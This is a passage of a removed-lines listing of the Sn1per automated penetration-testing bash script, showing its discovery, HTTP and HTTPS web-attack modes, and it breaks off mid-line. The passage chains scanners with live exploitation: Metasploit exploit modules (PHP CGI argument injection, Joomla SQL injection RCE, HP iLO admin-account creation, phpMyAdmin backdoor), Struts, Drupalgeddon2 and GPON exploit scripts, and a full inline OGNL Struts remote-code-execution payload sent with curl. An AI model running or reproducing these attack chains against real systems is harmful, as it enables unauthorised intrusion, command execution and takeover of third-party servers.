___ \ /" - echo -e "$OKRED / /" - echo -e "$OKRED ____ / /" - echo -e "$OKRED \/$RESET" - echo "" - OUT_FILE=$(echo "$TARGET" | tr / -) - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PING DISCOVERY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sP $TARGET | tee $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips.txt - cat $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips.txt | grep "scan report" | awk '{print $5}' > $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips-sorted.txt - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -T4 -v -F $TARGET 2>/dev/null | tee $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ports.txt 2>/dev/null - cat $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ports.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ips.txt - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CURRENT TARGETS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cat $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips-sorted.txt $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ips.txt > $LOOT_DIR/domains/sniper-$OUT_FILE-ips-unsorted.txt - sort -u $LOOT_DIR/domains/sniper-$OUT_FILE-ips-unsorted.txt > $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt - cat $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt - echo "" - echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt " - echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt -m airstrike or nuke modes. $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SCAN COMPLETE! $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - exit -fi - -if [ "$MODE" = "web" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi -fi - -# WEBPORTHTTP MODE ##################################################################################################### -if [ "$MODE" = "webporthttp" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[https://xerosecurity.com" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" - echo -e "" - echo -e "" - echo -e " ; , " - echo -e " ,; '. " - echo -e " ;: :; " - echo -e " :: :: " - echo -e " :: :: " - echo -e " ': : " - echo -e " :. : " - echo -e " ;' :: :: ' " - echo -e " .' '; ;' '. " - echo -e " :: :; ;: :: " - echo -e " ; :;. ,;: :: " - echo -e " :; :;: ,;\" :: " - echo -e " ::. ':; ..,.; ;:' ,.;: " - echo -e " \"'\"... '::,::::: ;: .;.;\"\"' " - echo -e " '\"\"\"....;:::::;,;.;\"\"\" " - echo -e " .:::.....'\"':::::::'\",...;::::;. " - echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; " - echo -e " ::' ;::;:::;::.. :; " - echo -e " :: ,;:::::::::::;:.. :: " - echo -e " ;' ,;;:;::::::::::::::;\";.. ':." - echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::" - echo -e " :. :: ::::::; ::::::: : ; " - echo -e " ; :: ::::::: ::::::: : ; " - echo -e " ' :: ::::::....:::::' ,: ' " - echo -e " ' :: :::::::::::::\" :: " - echo -e " :: ':::::::::\"' :: " - echo -e " ': \"\"\"\"\"\"\"' :: " - echo -e " :: ;: " - echo -e " ':; ;:\" " - echo -e " -hrr- '; ,;' " - echo -e " \"' '\" " - echo -e " ''''$RESET" - echo "" - echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml - port_http=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-http-$TARGET.xml | grep open` - if [ -z "$port_http" ]; then - echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f http://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-http-$PORT 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 http://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-http-$PORT 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET - if [ "$PASSIVE_SPIDER" == "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget http://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-http.txt 2> /dev/null - - - - - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - clusterd -i $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url http://$TARGET:$PORT --batch --disable-tls-checks - echo "" - wpscan --url http://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CMSMAP $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $CMSMAP -t http://$TARGET:$PORT - echo "" - python $CMSMAP -t http://$TARGET/wordpress/ - echo "" - if [ "$NIKTO" == "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nikto -h http://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-http-$PORT.txt - fi - cd $INSTALL_DIR - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - clusterd -i $TARGET -p $PORT - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; run; use scanner/http/webdav_website_content; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL false; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT 80; set WAIT 2; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 80; set SSL false; run; back;exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT "$PORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u http://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u http://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://$TARGET:$PORT | head -n 1 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - ruby $INSTALL_DIR/bin/drupalgeddon2.rb http://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/cisco-asa-traversal.py http://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:$PORT - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/gpon_rce.py http://$TARGET:$PORT 'whoami' - - if [ $SCAN_TYPE == "DOMAIN" ]; then - if [ $OSINT == "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - goohak $TARGET > /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt - rm -Rf output/ cookie.txt exploits.conf - GHDB="1" - fi - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SCAN COMPLETE! $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - rm -f $INSTALL_DIR/.fuse_* 2> /dev/null - if [ "$LOOT" = "1" ]; then - loot - fi - exit -fi - -# WEBPORTHTTPS MODE ##################################################################################################### -if [ "$MODE" = "webporthttps" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[https://xerosecurity.com" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" - echo -e "" - echo -e "" - echo -e " ; , " - echo -e " ,; '. " - echo -e " ;: :; " - echo -e " :: :: " - echo -e " :: :: " - echo -e " ': : " - echo -e " :. : " - echo -e " ;' :: :: ' " - echo -e " .' '; ;' '. " - echo -e " :: :; ;: :: " - echo -e " ; :;. ,;: :: " - echo -e " :; :;: ,;\" :: " - echo -e " ::. ':; ..,.; ;:' ,.;: " - echo -e " \"'\"... '::,::::: ;: .;.;\"\"' " - echo -e " '\"\"\"....;:::::;,;.;\"\"\" " - echo -e " .:::.....'\"':::::::'\",...;::::;. " - echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; " - echo -e " ::' ;::;:::;::.. :; " - echo -e " :: ,;:::::::::::;:.. :: " - echo -e " ;' ,;;:;::::::::::::::;\";.. ':." - echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::" - echo -e " :. :: ::::::; ::::::: : ; " - echo -e " ; :: ::::::: ::::::: : ; " - echo -e " ' :: ::::::....:::::' ,: ' " - echo -e " ' :: :::::::::::::\" :: " - echo -e " :: ':::::::::\"' :: " - echo -e " ': \"\"\"\"\"\"\"' :: " - echo -e " :: ;: " - echo -e " ':; ;:\" " - echo -e " -hrr- '; ,;' " - echo -e " \"' '\" " - echo -e " ''''$RESET" - echo "" - echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sV -T5 -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml - port_https=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-https-$TARGET.xml | grep open` - if [ -z "$port_https" ]; - then - echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f https://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-https-$PORT 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 https://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-https-$PORT 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-$TARGET-https.txt 2> /dev/null - if [ "$SSL" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null - sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null - echo "" - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null - fi - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -A -sV -T5 -Pn -p $PORT --script=http-vuln* $TARGET - if [ "$PASSIVE_SPIDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - clusterd --ssl -i $TARGET -p $PORT - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url https://$TARGET:$PORT --batch --disable-tls-checks - echo "" - wpscan --url https://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CMSMAP $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $CMSMAP -t https://$TARGET:$PORT - echo "" - python $CMSMAP -t https://$TARGET:$PORT/wordpress/ - echo "" - if [ "$NIKTO" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nikto -h https://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-https-$PORT.txt - fi - cd $INSTALL_DIR - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL true; run; use scanner/http/webdav_website_content; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT "$PORT"; set SSL true; set WAIT 2; run; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL 